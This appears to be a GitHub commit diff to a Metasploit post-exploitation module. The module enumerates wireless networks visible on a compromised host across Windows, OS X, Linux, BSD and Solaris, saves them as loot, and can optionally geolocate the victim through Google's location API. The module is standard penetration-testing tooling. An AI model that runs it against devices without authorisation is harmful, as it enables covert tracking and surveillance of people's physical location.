Skip to content

Commit d4c0d01

Browse files
committed
Update wlan_geolocate.rb
Updated based on feedback. Also added enumeration only support for BSD and Solaris.
1 parent 2fd004b commit d4c0d01

File tree

1 file changed

+91
-35
lines changed

1 file changed

+91
-35
lines changed

modules/post/multi/gather/wlan_geolocate.rb

Lines changed: 91 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -12,15 +12,21 @@ class Metasploit3 < Msf::Post
1212

1313
def initialize(info={})
1414
super( update_info( info,
15-
'Name' => 'Multiplatform Wireless LAN Geolocation',
16-
'Description' => %q{ Geolocate the target device by gathering local
17-
wireless networks and performing a lookup against Google APIs.},
15+
'Name' => 'Multiplatform WLAN Enumeration and Geolocation',
16+
'Description' => %q{ Enumerate wireless networks visible to the target device.
17+
Optionally geolocate the target by gathering local wireless networks and
18+
performing a lookup against Google APIs.},
1819
'License' => MSF_LICENSE,
1920
'Author' => [ 'Tom Sellers <tom <at> fadedcode.net>'],
20-
'Platform' => %w{ osx win linux },
21+
'Platform' => %w{ osx win linux bsd solaris },
2122
'SessionTypes' => [ 'meterpreter', 'shell' ],
2223
))
2324

25+
register_options(
26+
[
27+
OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false])
28+
], self.class)
29+
2430
end
2531

2632
def get_strength(quality)
@@ -81,6 +87,35 @@ def parse_wireless_osx(listing)
8187
return wlan_list
8288
end
8389

90+
def perform_geolocation(wlan_list)
91+
92+
if wlan_list.blank?
93+
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
94+
return
95+
end
96+
97+
# Build and send the request to Google
98+
url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}"
99+
uri = URI.parse(URI.encode(url))
100+
request = Net::HTTP::Get.new(uri.request_uri)
101+
http = Net::HTTP::new(uri.host,uri.port)
102+
http.use_ssl = true
103+
response = http.request(request)
104+
105+
# Gather the required information from the response
106+
if response && response.code == '200'
107+
results = JSON.parse(response.body)
108+
latitude = results["location"]["lat"]
109+
longitude = results["location"]["lng"]
110+
accuracy = results["accuracy"]
111+
print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.")
112+
print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}")
113+
else
114+
print_error("Failure connecting to Google for location lookup.")
115+
end
116+
117+
end
118+
84119

85120
# Run Method for when run command is issued
86121
def run
@@ -98,66 +133,87 @@ def run
98133

99134
listing = cmd_exec('netsh wlan show networks mode=bssid')
100135
if listing.nil?
101-
print_error("Unable to generate wireless listing..")
136+
print_error("Unable to generate wireless listing.")
102137
return nil
103138
else
104139
store_loot("host.windows.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
105-
wlan_list = parse_wireless_win(listing)
140+
# The wireless output does not lend itself to displaying on screen for this platform.
141+
print_status("Wireless list saved to loot.")
142+
if datastore['GEOLOCATE']
143+
wlan_list = parse_wireless_win(listing)
144+
perform_geolocation(wlan_list)
145+
return
146+
end
106147
end
107148

108149
when /osx/i
109150

110151
listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
111152
if listing.nil?
112-
print_error("Unable to generate wireless listing..")
153+
print_error("Unable to generate wireless listing.")
113154
return nil
114155
else
115156
store_loot("host.osx.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
116-
wlan_list = parse_wireless_osx(listing)
157+
print_status("Target's wireless networks:\n\n#{listing}\n")
158+
if datastore['GEOLOCATE']
159+
wlan_list = parse_wireless_osx(listing)
160+
perform_geolocation(wlan_list)
161+
return
162+
end
117163
end
118164

119165
when /linux/i
120166

121167
listing = cmd_exec('iwlist scanning')
122168
if listing.nil?
123-
print_error("Unable to generate wireless listing..")
169+
print_error("Unable to generate wireless listing.")
124170
return nil
125171
else
126172
store_loot("host.linux.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
127-
wlan_list = parse_wireless_linux(listing)
173+
# The wireless output does not lend itself to displaying on screen for this platform.
174+
print_status("Wireless list saved to loot.")
175+
if datastore['GEOLOCATE']
176+
wlan_list = parse_wireless_linux(listing)
177+
perform_geolocation(wlan_list)
178+
return
179+
end
128180
end
129-
else
130-
print_error("The target's platform is not supported at this time.")
131-
return nil
132-
end
133181

134-
if wlan_list.nil? || wlan_list.empty?
135-
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
136-
return
137-
end
182+
when /solaris/i
138183

184+
listing = cmd_exec('dladm scan-wifi')
185+
if listing.blank?
186+
print_error("Unable to generate wireless listing.")
187+
return nil
188+
else
189+
store_loot("host.solaris.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
190+
print_status("Target's wireless networks:\n\n#{listing}\n")
191+
print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
192+
return
193+
end
139194

140-
# Build and send the request to Google
141-
url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}"
142-
uri = URI.parse(URI.encode(url))
143-
request = Net::HTTP::Get.new(uri.request_uri)
144-
http = Net::HTTP::new(uri.host,uri.port)
145-
http.use_ssl = true
146-
response = http.request(request)
195+
when /bsd/i
196+
197+
interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
198+
# Printing interface as this platform requires the interface to be specified
199+
# it might not be detected correctly.
200+
print_status("Found wireless interface: #{interface}")
201+
listing = cmd_exec("ifconfig #{interface} scan")
202+
if listing.blank?
203+
print_error("Unable to generate wireless listing.")
204+
return nil
205+
else
206+
store_loot("host.bsd.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks")
207+
print_status("Target's wireless networks:\n\n#{listing}\n")
208+
print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
209+
return
210+
end
147211

148-
# Gather the required information from the response
149-
if response && response.code == '200'
150-
results = JSON.parse(response.body)
151-
latitude = results["location"]["lat"]
152-
longitude = results["location"]["lng"]
153-
accuracy = results["accuracy"]
154-
print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.")
155-
print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}")
156212
else
157-
print_error("Failure connecting to Google for location lookup")
213+
print_error("The target's platform, #{platform}, is not supported at this time.")
214+
return nil
158215
end
159216

160-
161217
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
162218
rescue ::Exception => e
163219
print_status("The following Error was encountered: #{e.class} #{e}")

0 commit comments

Comments
 (0)